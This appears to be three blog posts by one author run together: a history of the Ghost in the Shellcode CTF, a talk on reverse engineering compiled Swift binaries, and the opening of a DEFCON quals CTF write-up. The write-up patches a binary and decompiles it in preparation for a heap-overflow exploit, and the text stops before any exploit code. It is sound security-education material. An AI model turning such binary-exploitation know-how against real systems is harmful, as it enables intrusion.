We ranGhost in the Shellcode (GitS) from 2010 to 2015. It was one of the earlier Capture the Flag (CTF) hacking competitions. When we launched it, there really were only four other CTFs:DEFCON CTF andCodegate CTF were open to everyone andCSAW CTF andiCTF were academic-oriented. There may have been others, but this is how I remember it.

Ghost in the Shellcode

Most of us had just won the DEFCON 17 CTF finals as VedaGodz and decided that we too should run a CTF and we’d do it at a conference for a little added prestige.ShmooCon was coming up soon and was the next largest US conference and they didn’t have a CTF.Jordan knewBruce, the founder of the Shmoo Group and the conference. He reached out around Thanksgiving and we were in, they were going to give us a room to host our very own CTF!

(Don’t) Panic

ShmooCon happens in January in most years but was in February that year (2010). Which meant we only had about 8 weeks to design and put together a CTF, but we still took a few weeks to start.

First, we had to pick a name. Someone – Jordan? Brandon?Greg? – on the team was watching Ghost in the Shell during the meeting and it was suggested we do a Ghost in the Shell themed game and use the name Ghost in the Shellcode. We didn’t have a better name, so we went with it and decided we’d change the themeand name every year.

Next, we had to figure out game dynamics. Were we going to do an attack-defense CTF like the DEFCON CTF finals or are we going to do an attack-only CTF – aka Jeopardy board? We really wanted to do an attack-defense game but time constraints made us go with the Jeopardy board.

Someone volunteered to write the scoring server. Remember, it was 2009, CTFd wouldn’t be written or released for another 6 or so years. At the time CSAW CTF handled submissions by having competitors email flags to the organizers.

The rest of us then went and tried to write as many challenges as we could.

However, that person dropped the ball and we didn’t have a scoring server with only two days left. Greg andJay picked up the task – writing the majority of it on the plane and in the hotel room the night before. They decided to write it in Python, which was fairly new to us – most of us only wrote C and maybe a bit of Perl.

classAJAXHandler(SimpleHTTPServer.SimpleHTTPRequestHandler):defdo_GET(self):print"GET in thread:%s\n"%(threading.currenThread().getName(),)"""Serve a GET request."""self.encoder=json.JSONEncoder()parsed_path=urlparse.urlparse(self.path)#parsed_path: (scheme,netloc,path,params,query,fragment)#print parsed_path[2]ifparsed_path[2]=="/ajax/":self.do_OPTIONS()else:f=self.send_head()iff:self.copyfile(f,self.wfile)f.close()

A small sample of our first score server. This was before flask existed but also we didn’t know what we were doing.

I was definitely unhelpful that night. I was sleep-deprived and kept suggesting we go buy golf pencils ✏️ and golf score sheets to let competitors submit flags. Dustin and Andrew were late flying in and were panicked about the lack of scoring server. I definitely got on their nerves with this suggestion.

Sphere Grid

For our scoreboard interface, we went with a “sphere grid” design. We weren’t great about sticking to the theme of “Ghost in the Shell” – to this day 12 years later I’ve never seen an episode. The sphere grid was inspired by one of the Final Fantasy game’s tech trees.

The “Sphere Grid” scoreboard

This was another concession we made due to lack of time. We didn’t have enough challenges to fill a normal scoreboard. We had too many pwnables and not enough crypto or web challenges – which is an evergreen statement about GitS. We devised this complicated scoreboard where we started in the center of the grid and you could only unlock one or two other challenges – giving us some extra time to write more challenges as the game went on.

We strategically placed harder challenges on junction points to slow the game down. We were terrified of someone unlocking half the game board in the first few hours. Notice in the screenshot above that only about half of the nodes are glowing, we only had 12 challenges for the 21 spots. At the time we lied and said we’d release those “unopened” challenges next year.

Running the game itself was interesting since we were new to ShmooCon – none of us had attended it prior – we didn’t know what the conference network situation would be. The game was going to be in person only which made it a little easier. We decided to bring our own network equipment to put up a wireless network and two small Dell Optiplex 960s as our servers. All of us lived in Florida so we had to carry these servers as personal items on the flights. I’ve brought a few small form factor PCs through TSA and it’s always a struggle explaining it’s a computer even without a monitor.

Our server infrastructure

There was a problem though. WiFi at the time was 802.11b/g and WEP was the widely supported encryption protocol and deauthorization attacks to sniff everyone’s traffic were easily achieved. The Shmoo Group itself publishedAirSnort, a tool for doing exactly that. Shortly after we made it to the hotel we realized it would be a problem and had to set up our own self-signed CA and cut TLS certs for all the services.

We launched the game on time and had about 15 people playing! The scoreboard broke immediately after the first solution – we had failed to properly map the sphere grid connections. After the first few hours, we were pretty confident the board wouldn’t be cleared so we were able to enjoy the conference and socialize with the competitors.

A Historic Mess

Then the snow came. They called it Snowmageddon and it was historic amounts of snow for the DC region. Most of the team grew up in Florida, so it was their first time seeing snow – definitely the first to see so much snow. We stole serving trays from the hotel and used them as (very poor) saucer snow sleds and chucked them into the bushes for the hotel to find them in the spring. Jordan found a couple of people who decided they were going to leave the conference early and drive home to Florida. The rest of us stayed, for what turned out to be an extra week longer as every flight was canceled consistently for that week.

The first year was in the bag and we could switch focus to preparing for DEFCON CTF. We now had two CTF seasons: competing in DEFCON CTF and hosting Ghost in the Shellcode.

Year Two

Most of the 2011 Ghost in the Shellcode organizing team. Not pictured: me.

As you probably guessed, we never changed the name with a new theme. This year the conference was moving to the wonderful Washington Hilton.Heidi, who is the main point of contact for all things ShmooCon, gave us a larger room and even gave us a free ticket to the conference to give away.

We were trying to build a little hype but also wanted to get tickets out to people who wanted to play. ShmooCon is notorious for being difficult to get tickets to – they generally sell out in less than 20 seconds. We thought, “Hey, we can do a mini-competition and host it online to give out the ticket.”

We called it the “CTF Warm-up” but in later years changed the name to the teaser. The first teaser was won byawesie, one of the original members ofPPP.

For the challenges that year, I had spent a bit of time reversing ddtek’s and kenshoto’s standard pwnable library and reimplementing it for our own use. It was fun havingVisi andEagle claiming we stole it, but Eagle himself stole it from Visi!

// Service setup functionsintsocketListen(unsignedshort);voidloop(intfd,int(*childHandler)(int));intdrop_privs_user(constchar*user);intdrop_privs(structpasswd*user);voidalarm_handler(int);// main child handlerinthandleConnection(int);// socket read and write functionsssize_tsendAll(int,char*,size_t);ssize_tsendMsg(int,char*);ssize_tsendMsgf(int,constchar*,...);ssize_treadAll(intsock,char*buf,size_tlen);ssize_treadUntil(intsock,char*buf,size_tlen,charsentinal);

“Our” standard library header

The biggest concern was screwing up process privileges and having a standard wrapper made that far less likely.

I also decided I’d rewrite the score server and introduce a ton of leader board sorting bugs. We fixed them live every year we used that software and then promptly forgot to commit the changes to our SVN server (remember, it was 2011 and git was difficult).

I think 2011 was the year that Jordan and I flew up a little early for some work-related reason and got stuck on the DC Metro under the Potomac for an hour when the metro system lost power. It should have been a sign.

In 2011 they called it “Snowpocalypse”

The competition went off without any issues. It was still an in-person-only CTF. I remember giving away points to a team who brought us donuts.

But the snow started again and it was somehow worse than the year before. Several of our friends got stranded overnight in their cars on the interstates. It was decided that I would rent a car since I had seen snow before in my life – being from the scary northern US. It was less joyous this year as we remembered the prior year. Greg and I ended up driving back to Florida because our flights kept getting canceled again.

Having to create 30 challenges a year can be daunting, so we’d have brainstorming sessions. I found these old challenge ideas from ourtrac from around this time. Only a few are winners:

• Something called buffalo overrun.
• An animated gif where the timeout between frames spells out another
  hint/key. It would have to be an archer gif - is there an archer quote about
  timing?
• Something like theashdoc2.png where theycat’d a wav on the end of a png
  and you could play it bycat‘ing it to/dev/dsp
• I really like the idea of using the Compton lyrics and macsay.say has a
  an option that allows network play, maybe a forensics challenge or something?
  Could use Rick Astley instead.
• Opcode trivia, six bytes to jump toeax+0x100. (use a different reg?)
• Dustin’s SHA*FUN
• A bonus points question that gives you complete stack control and requires
  you to ROP. Libc will be moved so they can’t ret-to-libc.
• A challenge that executes the shellcode in a QR code and prints out
  debugging info
• Wub (dubstep) encoded data - from Dillon
• pascal strings
• one’s complement
• The embarrass Jordan contest (get a picture with Jordan where he’s super
  embarrassed)
• ddtekd, all format strings, ipv6
• dwarf byte-code

The ROP one is funny in retrospect. ROP was new and exciting at the time.

I had liked the idea of giving people large, unwieldy prizes for winning. Surfboards seemed appropriate, but were logistically difficult. We ended up ordering custom skateboards.

The picture above says we ordered four, but I only remember ordering three. Maybe one fell off a truck? 👀

We had planned to give the winning team three boards, but managed to destroy two of them before we gave them away. The boards were shipped without grip tape on the top side, but the grip tape was included – so we figured we’d afix it. I left them in my office on my office couch. Later, a coworker came in and stacked and moved them so he could sit and ask a question. Stacking them put the Ghost in the Shellcode logos in direct contact with the super coarse grip tape, scratching the decks – only the outer one survived and we awarded it to awesie for winning that year.

Year Three

After two years of flying up with all our infrastructure and having to spend the night before frantically setting it up, we decided to try hosting the competition on Amazon AWS. No one else had tried it yet and we had no idea what it would cost us.

Around this time, I decided I was going to be the treasurer of the team and I started charging yearly membership dues of $100. We had a lot of people who wanted to be part of the team but never actually contributed anything. I thought the dues would make them more serious but in the end, we just had more spending money. The larger budget helped us buy nicer prizes, swag, and pay for the unknown AWS bill.

This was the first big Ghost in the Shellcode as it was the first one where we allowed remote teams to compete. All the biggest teams of the day played: PPP, Eindbazen, EuroNOP, pwningyeti, TracerTea, More Smoked Leet Chicken, 0ld Europe, and others.

We switched the scoreboard away from the sphere grid and had a custom monopoly game commissioned for both the scoreboard and had one printed for the prize.

GitSopoly

This year we released one of our best challenges: Khazâd. Khazâd was a 600-point pwnable written in C++ and used exceptions pretty extensively. Khazâd was sneaky, it was only exploitable due to a bug in the DWARF exception handling functions. 0xff did a fantasticwrite-up that I was able to dig out of the Wayback Machine. 0xff’s impression of the competition as a whole was poor but also he’s German.

PPP won for the second year in a row – at the time PPP was actually notorious for coming in 2nd place in most of their competitions. They used to joke that they could never win. They probably don’t make that joke anymore. I hope they still have the monopoly game somewhere in Pittsburgh.

No massive snowstorms that year – the weather was pretty nice. The AWS bill ended up being somewhere around $100 and that’s with a ton of overprovisioning.

Year Four

For 2013, ShmooCon went with a snow theme. I stole this banner and other the ones from other years too – presumably, it’s still hanging in Florida.

2012 was an election year so the conference had to move hotels, as the Washington Hilton was unavailable – booked by the Romney transition team for if he had won. We moved to the Hyatt Regency Capitol Hill. The hotel was smaller and we had to share a room – but don’t worry, we managed to take over most of the room.

We ran it from the back corner. We also all had matching embroidered GitS hoodies with thumbholes (boo hiss)

For this year’s game, we introduced shellcode.tv, a streaming site we used to play distracting videos and some CTF-appropriate music. I wanted to make the scoreboard only accessible via the video stream but was overruled. Not everyone had the connection required to stream our HD distraction. We played all the CTF room classics such as Benny Benassi (1) (2), Die Antwoord (1), deadmau5 (1), and probably an embarrassing amount of dubstep.

The warning we ran at the bottom of shellcode.tv. We were so hip.

A challenge I particularly liked was folly, which I wrote. Folly was a shellcoding challenge with several stages. When you connected you were prompted with a choose your own adventure prompt. Apparently, I was reading Don Quixote at the time because I made it Don Quixote-themed.

$ nc folly.2013.ghostintheshellcode.com5679Hola! I am Sancho, who are you?Don Quixote de la ManchaHello! Are you readyfor your adventure?Sire, what should wedo?(S)earchfor your lady love, Dulcinea del Toboso(A)ttack Giants(M)ount Rocinante(Q)uit>MSire! Let mehelp you onto your steed.Sire, what should wedo?(S)earchfor your lady love, Dulcinea del Toboso(A)ttack Giants(M)ount Rocinante(Q)uit>AJustthen they came in sight of thirty or forty windmills that rise from that plain.And no sooner did Don Quixote see them that he said to his squire,"Fortune is guiding our affairsbetter than we ourselves could have wished. Do you see over yonder, friend Sancho, thirty or fortyhulking giants? I intend to do battle with them and slay them. With their spoils we shall begin tobe rich for this is a righteous war and the removal of so foul a brood from off the face of the earth is a service God will bless.""What giants?" asked Sancho Panza."Those you see over there," replied his master,"with their long arms. Some of them have arms well nigh two leagues in length.""Take care, sir," cried Sancho."Those over there are not giants but windmills. Those things that seem to be their arms are sails which, when they are whirled around by the wind, turn the millstone."What will you shout as you attack the giants?TESTSire, what should wedo?(S)earchfor your lady love, Dulcinea del Toboso(A)ttack Giants(M)ount Rocinante(Q)uit>Q

The “(A)ttack Giants” option allowed you to send up to 1024 bytes of shellcode that it would execute. The flag was:

There is no book so bad…that it does not have something good in it.

However, our adventure still awaits!

2013.ghostintheshellcode.com/folly-9a062bfbc9c4bd0aaafbc80dbc9facc942319b73
folly.2013.ghostintheshellcode.com:5674

The first flag linked you to the next stage. It was a “the princess is in another castle” challenge. The challenge was 7 stages in total with each being a different architecture: x86, ARM, MIPS, PPC, 68k, ALPHA, and HPPA. Since I’m a miserable bastard I put them all on consecutive ports and added a few repeats at the end so if you scanned them you’d think there were 20 stages.

Year Five

For 2014 we updated the teaser to be a little slicker and made it Grand Theft Auto 5 themed. By 2014 there were a bunch of other CTFs and we were starting to riff on each other’s challenges. That year it was hip to make QR code challenges. Codegate did a bunch andPlaidCTF even more in response – in hopes that it would kill QR codes as a challenge. It backfired because we ended up doing our own QR code challenge and naming it after them: Plaid Parliament of Codegate.

I haven’t mentioned him yet, butRusty was a part of Ghost in the Shellcode from the beginning, always producing really solid challenges. Rusty is an annoyingly talented person – he’s seemingly good at everything. At the time, Rusty would spend 8 hours at work implementing (still) cutting-edge emulators for software analysis and then go home and spend 8 more hours working on his video game. In 2014, he built Choose your Pwn Adventure 2, a fully hackable 3D FPS.

Choose your Pwn Adventure 2

Pwn Adventure 2 was a 3D FPS built on the Unity engine. It was filled with challenges that were impossible if you played the game straight-up. You had to find and exploit vulnerabilities in the game to complete the challenges. Challenges required you to figure out infinite health hacks, how to fly, speed hacks, and more.

Unbearable: Open the chest before the bears kill you. Also, in the last few minutes, they have had assault rifles.

The Unity engine is written in C#, so you could solve these challenges by decompiling it and patching it. You could also solve it purely with network attacks. For each of the challenges, the server trusted the client a little too much and you had to figure out what you could manipulate to unlock the required superpowers.

Doge was in vogue then

The scoreboard was updated to remove any form of challenge unlocking controls. Half the game board was available only in the context of Pwn Adventure 2, but we had plenty of other challenges.

One notable challenge from that year was ByteSexual. Somehow, we discovered that on Linux you canfar call with[0x23](<https://stackoverflow.com/q/18272384>) as your[CS](<https://stackoverflow.com/q/18272384>) segment selector value to switch between 32bit and 64bit execution modes. We used this trick to constantly switch between the two execution modes and abusing how the differing instruction decoders to confuse IDA and GDB’s disassemblers.

We also updated our shellcode.tv setup to have a slick GitS-themed test card.

Frequency in Megacycles

Year Six

Our sixth year was our biggest year. Rusty had spent much of the previous year working onChoose your Pwn Adventure 3, a completely new iteration of the game. This time it was written in C++ and used the Unreal engine.

PA3: Pwnie Island

Pwn Adventure 3 was a much larger part of the game that year. The bears were back too.

I mentioned previously that we started to make challenges that riffed on the challenges of other competitions – normally PlaidCTF. Plaid had a series of great challenges called “ECE’s Revenge”, where they would force us to decode some discrete logic circuit to get the flag. For PA3, we had our own version of that called “Blocky’s Revenge”. In Blocky’s Revenge, you had to decode a Minecraft-esc discrete logic circuit to get the flag. LiveOverflow did a video on analyzing it, jump to66 seconds to see the circuit.

LiveOverflow: Analyzing the Blocky Logic Puzzle

I actually don’t remember much about the competition that year. It was really the PA3 show. I was more interested in distracting the competitors who were in the room – I remember playing full episodes of Archer on the projector which would totally DoS half the teams.

Year Seven (Postponed since 2015)

Ghost in the Shellcode never made it to its 7th year. We had intended to continue hosting it but by December 2015 it was pretty clear that we had lost all momentum and we decided to postpone the competition. You can still see the postponement message onthe website. There wasn’t a single reason why we called it quits, life just moved on. Jay and I had both moved to NYC and it felt kinda odd running a competition associated so strongly with our former employer. Jordan,Peter, and Rusty left to foundVector35 and work onBinary Ninja. I should say, most of us wanted to keep hosting it but we weren’t putting in the effort and it would not have been able to maintain the quality we had held ourselves prior.

When I talk about Ghost in the Shellcode these days, I sound like a horrible old man. When we started, CTF was still in its infancy. When we started, theflag files were actually calledkey, because keys were the secrets we wanted to steal. We also didn’t have a standard flag format until much later, it was even slightly controversial internally to suggest we use one.

The biggest change has been CTFs gaining respect. When we started, all the old-school hackers looked down on CTFs as not being real or just being toys. Now, those old-school hackers are still around and grumpy but most of them have begrudgingly admitted that CTFs are a good thing for our industry and develop very real skills.

The CTF industry has evolved a lot in the 12 years since we started Ghost in the Shellcode. I wonder where it goes next.

Swift Reversing

Hi, I’m Ryan Stortz and this is Swift Reversing. This is about the Apple programming language, not the inter-banking network. I’d probably have a solid gold laptop if I knew anything about Swift internals.

This talk is broken into 3 parts: an introduction to Swift, a discussion on my methodology, and the actual results from my research.

Swift is Apple’s sexy new language for the future. Just like everything Apple does, it was more ceremony than substance for the first version release. iPad v1, iPhone v1, and Apple Watch customers will understand. More interestingly, Swift is meant to take over for Objective C and we can get behind that.

Swift was open-sourced back in December. It’s technically available on Linux as well as on os x, but so was objc – so we’ll see how that goes. A few months ago, MacRumors said Google is considering adopting Swift for android. With this and Ubuntu on Windows, we have some exciting times coming.

Swift is pretty expressive, you can commit atrocities like this one: Noak’s Ark. As you can see, we have the world and all the animals in the world. Then we allocate the ark as an array of strings. Then we iterate over each animal and 💕+💕 and two by two, we fill the ark.

Swift is meant to be a systems programming language or close to it. It’s not interpreted or JITed like Python and Java (respectively). Meaning all of these emojis will be compiled into machine code.

Swift is a “modern language”. I’m not really sure, but I think that means it was designed after Mudge invented the buffer overflow.

It has all the features you’d expect: closures, first-class functions, generics, etc. As a reverse engineer, more closures and generics could be problematic. These structs-that-are-really-classes might make certain cases easier to reverse. Swift also makes heavy use of optionals, which will likely add a ton of noise to the disassembly.

I’m going to take a small segue here and talk about the Swift compiler architecture. As I think it’s important to understand to fully grasp Swift reverse engineering. These next few slides borrow heavily from Lattner’s LLVM Dev Mtg presentation on SIL

Both clang and Swift (and rust and a million other compilers) are built on top of LLVM. Clang has a pretty minor set of C or C++-specific optimizations. Very little code is re-written due to language-level features or language usage. That being said, the resulting machine code is still fairly well optimized. Most of us can tell if the code was -O0 or -O3. This is neat as the vast majority of the optimization happens in LLVM-land, and languages like Swift and Rust benefit.

However, Swift was designed by the same people who designed clang and llvm and they learned from their mistakes. Swift introduces another intermediate language and does analysis and optimization. So where most of Clang’s optimizations take place in a single location, Swift can optimize in several. In fact, Swift has a set of guaranteed optimizations that can’t be disabled.

For a visual representation, let’s take a little journey. We start at the parser and lexer and Swift and the Noah’s ark example.

Next is the Swift code represented as an Abstract Syntax Tree.

SILGen generates SIL, which is Swift’s IL. Swift does its language-specific analysis on SIL, a new intermediate layer that’s bolted on top of LLVM, but with a full awareness of Swift’s type system. If you’re familiar with LLVM or really any other SSA IR, you’ll notice that this one is at a higher abstraction layer. This allows Swift to heavily optimize in a safe manner, and I’ll get to an example in a moment.

Next up is LLVM IR.

And finally, the llvm IR is compiled to a specific target. x86_64 in this case. My apologies for the AT&T syntax.

One last thing about SIL. Since Swift has many many ways to create closures, SIL has thealloc_box optimization which causes me a lot of heartache as a reverse engineer. By default, all variables and closures are allocated on the heap and then SIL’s guaranteed optimizations do an escape analysis pass to determine if the variable or closure escapes its local scope. If it doesn’t, it brings it onto the stack. This means there are 2-3 different representations for each variable and closure type.

So enough about the compiler, let’s figure out how to turn the code on the left into the code on the right.

On to methodology. I promised “a systematic approach” in my talk abstract, but it’s more a list of things I was confused about going in.

I could probably spend months or years poking at the compiler and its output, trying to get a full grasp on the language, but nobody has time for that. So it’s important to bookend the research. The research needs to be driven by the work. What’s the motivation for tackling a new language?

I often start reversing projects with one of these first two in mind but frequently find myself just building character instead. This talk focuses on application pentesting with a little bit of character building.

My initial questions focused on three areas: the toolchain, the language core, and the ABI. What tools are available to me now? Is the language message-based like Objective-C? What’s the Swift calling convention?

In general, you’d also ask some basic questions about the standard library but Swift’s overlapped with Objective-C so much that I wasn’t worried

For each question I had, I created one or more small projects that focused on using the one individual feature behind each question. I then compiled the project and threw it into everyone’s favorite disassembler.

This one is a for class inheritance and it also uses optional unpacking/matching. We have our base class “Vehicle”. Bicycle derives from it and Tandom derived from Bicycle.

This one has an example closure. It actually has two, and several bugs.

Starting with the easiest section: The currently available tools and the Swift toolchain.

I started by Googling for Swift reversing. The first 9 results were about reversing a string or an array in Swift. The 10th result was how Taylor Swift reversed female opinions of her. So I knew my options were limited.

There isn’t much here, but the Swift compiler provides some nice diagnostics and you can dump the SIL and LLVM IR for a better understanding. But this doesn’t directly help you reverse engineer binary Swift executables.

We also have the Swift REPL and Swift-demangle.

The Swift REPL is kind of fun, you can directly invoke lldb commands by prepending them with a colon. Useful for development but not so much for RE.

In my example, I force unpack an optional integer with a nil value. The REPL captures the crash and we can introspect it with lldb.

The most useful tool in the official toolchain is definitely Swift-demangle. It’s not really much different than c++filt, except the demangled names are more expressive. Notice in this second example, it has thisArg[1] = Dead line. This encodes the ownership of the argument into the mangled name.

It also has an expanded view that prints the entire parse tree of the mangled name. This could be very useful for tools.

So for existing tools, we only have Swift-demangle. Class-dump, the Objective-C tool, actually parses a surprising amount of Swift classes, but it gets confused. It shouldn’t be too hard to update it to support Swift.

Now on to the Language core.

There are a billion things I could put here. I decided to focus on the Native types, Control Flow, and Optionals. I’ve listed the native types, most of these decay intoSwift.Builtin types and then decay into LLVM native types. On the right here you can see strings decay into ASCII c strings. I was somewhat surprised that it was an ASCII string and not a wide-character Unicode string. It’s probably actually UTF-8.

For each language feature listed, I wrote one or two tiny test case projects that used only that feature. Then compiled that with and without optimization to better understand it.

Control flow is designed as any sane person would. Most calls are devirtualized and directly call the function with very little overhead. The only time you see ObjC messages is when you’re doing a bridged call into ObjC code.

If this were Haskell or Haskell-like, you’d see the creation of thunks and thunk chains. So it isn’t lazy. This is fortunate for us, as reversing Haskell is a ring of hell that Dante neglected to describe.

Optionals were of particular interest to me. They’re going to be used a lot, as their use avoids a lot of really awful design paradigms (for the lack of a better word). Optionals are a safe way to encode an error condition and a value in the same “package” and enforce its proper checking.

Optionals are actually pretty thin. I don’t know why, but I expected them to be big and bloated. The optional flag is stored as a 1 byte boolean. Up top we have the value.Some(2) and the value.None The Hex-Rays insert shows optional unwrapping. In this case,v51 is the optional flag.v52 is the pointer value that’s getting retained.

Optional unpacking ends up being represented as a bitwise and of 1. It also happens to be the only time this is done. So optionals fall out easily.

The compiler actually verifies that you properly unpack optionals. If you try to force unpack them, you hit an illegal instruction (represented as a ud2 on x86 and BUG() in HexRays).

As you’d expect from a higher-level language, you don’t handle raw memory operations yourself. It turns out the way Swift handles this isn’t much different than C++. There are minor differences related to accessing the type and passing that toSwift_allocateObject. In most (or maybe all) cases, you’ll use theallocating_init form of the call which will handle everything.

In this example, we’re allocating theTrain class. Its size is 24 bytes, its alignment mask is 7 (aka 8 byte boundaries). It then passes the allocated memory to the train constructor. Interesting though, isv1: Swift’s allocator cares about the type.

When looking into allocations, I discovered this fun comment in the declaration ofSwift_allocObject. I thought it was interesting that it’s “sometime after”. I thought maybe there would be a potential race condition in the future.

In the end, it’s really backed by the default “slow malloc”, but it definitely piqued my interest originally and I’m waiting for them to “optimize” it and remove their todos.

The train’s “non-allocating” init, calls its parent classes’ non-allocating init as well. It assigns its parent pointer. In C++, this function would be responsible for assigning the class’s vtable. In our case, that’s handled bySwift_allocObject.

Revisiting our questions, compiled Swift ends up looking a lot like C++. It’s not lazy. It has all the expected native types.

The final area I researched was the Swift ABI.

Here I wanted to know how virtual function calls were made, ownership rules, and the calling convention

Bridging is quite difficult to do on the command line, but I did eventually get an example (and maybe I cheated with Xcode). Here I create an ObjC class that implements one method and I call it from Swift. Notice the compiler injected anobjc_msgSend here, but actually allocated it with a Swift function. A funny mixing and matching.

Swift also has to decide if the returned object is managed by the Swift runtime or the ObjC runtime. It does that by checking to see if the object pointer has been tagged.

For reference, here’s the Objective C class implementation. It’s trivial.

For virtual function calls, they’re implemented basically identically to C++. Your instantiated class has a pointer to a table. In that table are a bunch of function pointers. You index into that and call the methods. The HexRays code above corresponds directly with the original source code.

Object ownership rules are pretty well defined in Swift, which is one reason why it’s so safe. Everything in Swift is reference-counted with ARC. Well, that’s not true, native types aren’t reference counted, because that’d be slow and awful like java. Also, stack objects that don’t escape aren’t reference counted, but other than that, they’re all automatically ref counted. This is possible because almost everything is derived from theHeapObject type, which includes a ref count, a data pointer, a type field, and some inline storage for smaller objects.

All this works because, as I pointed out early, functions advertise their ownership rules in their type signatures. Arguments can be: dead, guaranteed, exploded, guaranteed and exploded.

Swift generally follows a “whatever works best” calling convention, which is the most frustrating part of reversing it. HexRays doesn’t understand it yet, so variables appear out of nowhere and are read from, but on closure introspection are actually return values from a preceding call. It makes sense, if your normalstdcall registers are alive but with values not involved in the call, but you have other registers that are dead, why not use the dead registers? or why not reorder the alive registers based on the call. Some compilers will do this when using LTO, as long as your function visibility is set properly. I’m sure many of you have encountered it there.

When searching for a solution to my problem, I discovered IDA’s “Scattered Argument Syntax”. Using this syntax, I was able to represent much of Swift’s calls.

Either of these two types works properly in IDA and HexRays. Aren’t they ugly? Also, this doesn’t scale to 4 register arguments yet.

Let’s revisit our initial questions for the ABI. We now know that Swift bridges into ObjC seamlessly, virtual calls are nearly identical to C++, and__swiftcall is basically YOLO. I didn’t mention it, but Swift classes are laid out in memory identically to ObjC classes – in fact, the Swift implementation imposes additional restrictions on ObjC and ends up being the best documentation for the ObjC ABI.

Let’s get to the tools.

To facilitate swift reversing, I have been working on a plugin you drop into your IDA plugins folder. I call itswift.py. I begrudgingly wrote it in python because it’s too damn hard to write and support IDA plugins on OS X, but I generally stick to the C++ API.

Swift.py registers a callback to dynamically re-write all Swift mangled names into their demangled representation. It also annotates the IDA disassembly with the demangled names. It also does a small bit of class body recovery with member types.

I have a demo prepared for you all.

That’s my talk. I’m Ryan Stortz, I’m on Twitter at@withzombies. Thank you. Questions?

This talk was originally presented in 2016 at Infiltrate in Miami Beach, FL, and ShakaCon in Honolulu, HI.

TL;DR I thought the format string filtering was a red herring and exploited an ip6 fragmentation heap overflow.

So, DEFCON CTF 22 Quals happened this past weekend. My team didn’t do all that great (27th overall), but I wrote some neat exploits. One of those is my exploit (written along with another team mate, okami41) for turdedo (selir 3). Turns out, our exploit was for an unintentional vulnerability. There generally aren’t many write ups for doing it the wrong way, so I wrote this.

Turdedo Overview

Turdedo was a 3 point challenge in the selir category. Knowing selir (we were teammates on the DC CTF 17 winning team), I expected it to be an epic network-related challenge – he’s a baller network security engineer. I also noticed that turdedo was likely going to be aTeredo tunnel service. Teredo tunnels provide IPv6 networking over IPv4.

The challenge description gave a server, a port, and a download link:

turdedoWhat a crappy protocolturdedo_5f55104b1d60779dbe8dcf5df2b186ad.2014.shallweplayaga.me:3544http://services.2014.shallweplayaga.me/turdedo_5f55104b1d60779dbe8dcf5df2b186ad

The turdedo binary is a 32bit x86 Linux ELF:

$ file turdedo_5f55104b1d60779dbe8dcf5df2b186adturdedo_5f55104b1d60779dbe8dcf5df2b186ad: ELF 32-bit LSB executable, Intel 80386, version1(SYSV), dynamically linked(uses shared libs),for GNU/Linux 2.6.24, stripped

The file also had stack canaries and NX, but was lacking any randomization:

$ ~/checksec.sh --file turdedo_5f55104b1d60779dbe8dcf5df2b186adRELRO STACK CANARY NX PIE RPATH RUNPATH FILEPartial RELRO Canary found NX enabled No PIE No RPATH No RUNPATH turdedo_5f55104b1d60779dbe8dcf5df2b186ad

Running the service shows it opens up UDP port 3544. (Reversing showed it needed to be run asroot so it could drop privs to theturdedo user before it could be run)

$ sudo netstat -anp| grep turdudp00 0.0.0.0:3544 0.0.0.0:* 43351/turdedo_with_debug

Reverse Engineering

Side-Note: This challenge is fairly RE-heavy. I’ve provided a IDC database dump of my IDA database and the full HexRays output. It is checked in alongside this write up.

Let’s start by loading the binary into IDA (and HexRays). The first function is pretty ugly, but we can already see that it’s going to be a fun one. As shown below, there’s a debug print that prints an IPv6 address:

size_t__cdeclsub_804C00F(inta1,inta2){size_tresult;// eax@8intv3;// edx@10intv4;// [sp+66Ch] [bp-10h]@1v4=*MK_FP(__GS__,20);dword_804E170=0;dword_804E160=0;fd=0;word_804E168=0;dword_804E16C=time(0);dword_804E164=time(0);srand(1u);signal(17,(__sighandler_t)1);signal(13,(__sighandler_t)1);if(a1==2)sub_8049209("eth0",*(_DWORD*)(a2+4));elsesub_8049209("eth0",0);if(dword_804E158)fprintf(stderr,"My addr: %02x%02x:%02x%02x:%02x%02x:%02x%02x:%02x%02x:%02x%02x:%02x%02x:%02x%02x\n",(unsigned__int8)dword_804E174,BYTE1(dword_804E174),BYTE2(dword_804E174),BYTE3(dword_804E174),(unsigned__int8)dword_804E178,BYTE1(dword_804E178),BYTE2(dword_804E178),BYTE3(dword_804E178),(unsigned__int8)dword_804E17C,BYTE1(dword_804E17C),BYTE2(dword_804E17C),BYTE3(dword_804E17C),(unsigned__int8)dword_804E180,BYTE1(dword_804E180),BYTE2(dword_804E180),BYTE3(dword_804E180));if(sub_804943B())exit(-1);sub_8048E14("turdedo");sub_804BD3B();result=dword_804E158;if(dword_804E158)result=fwrite("done...byebye\n",1u,0xEu,stderr);v3=*MK_FP(__GS__,20)^v4;returnresult;}

My general approach to reverse engineering is pass-based. I make a fuzzy first pass where I label everything I know already (lol ground-truth). For the first pass I normally label stack variables and globals that interact withlibc in some way. For instance, two of the global variables above (dword_804E16C anddword_804E164) are seeded with time – this could be used for several things (stack cookies, random seeds, timers, etc). I’ll likely name theseseeded_with_time0 andseeded_with_time1and come back to them later when I get a better idea as to how they’re used. The same technique applies to most otherlibc calls (fopen() returns aFILE *,fread() takes achar * for its first arg and aFILE * for its last arg, etc, etc). It’s important to label absolutely everything, even if you don’t know what it is. Mark it with something trivial at first and refine it in later passes.

Debug Prints

As shown in the code snippet above, thefprintf only happens ifdword_804E158 == 1. When checking for xrefs todword_804E164, I noticed that this was the case in many other calls. I renamed this value to debug and looked for a way to turn it on. There was a small problem though, the turdedo application itself didn’t have a way to set it to 1 and the storage backing this debug variable was in the.bss (the uninitialized data section – or more appropriately, initialized to0). Since it was in the.bss, I couldn’t just patch it in the binary. I needed to patch in code that set it to1.

I did this by replacing the instructions at the first check to debug with a single increment of the debug variable. I also removed the test and conditional branch for space reasons.

Pre-debug patchPost-debug patch

Now when we launch turdedo, we get the debug prints! :)

# ./turdedo_with_debugMy addr: 2001:0000:ac10:2fa1:0000:f227:53ef:d05e

Structures!

The secret to reverse engineering is understanding what data types are being operated on. Since this service listens on the same UDP port as teredo, I expect to need some IPv6 structures – specifically the IPv6 header. Thankfully, those are easily found in your/usr/include/netinet/ folder (inip.h). I also took this opportunity to grab the UDP header structure.

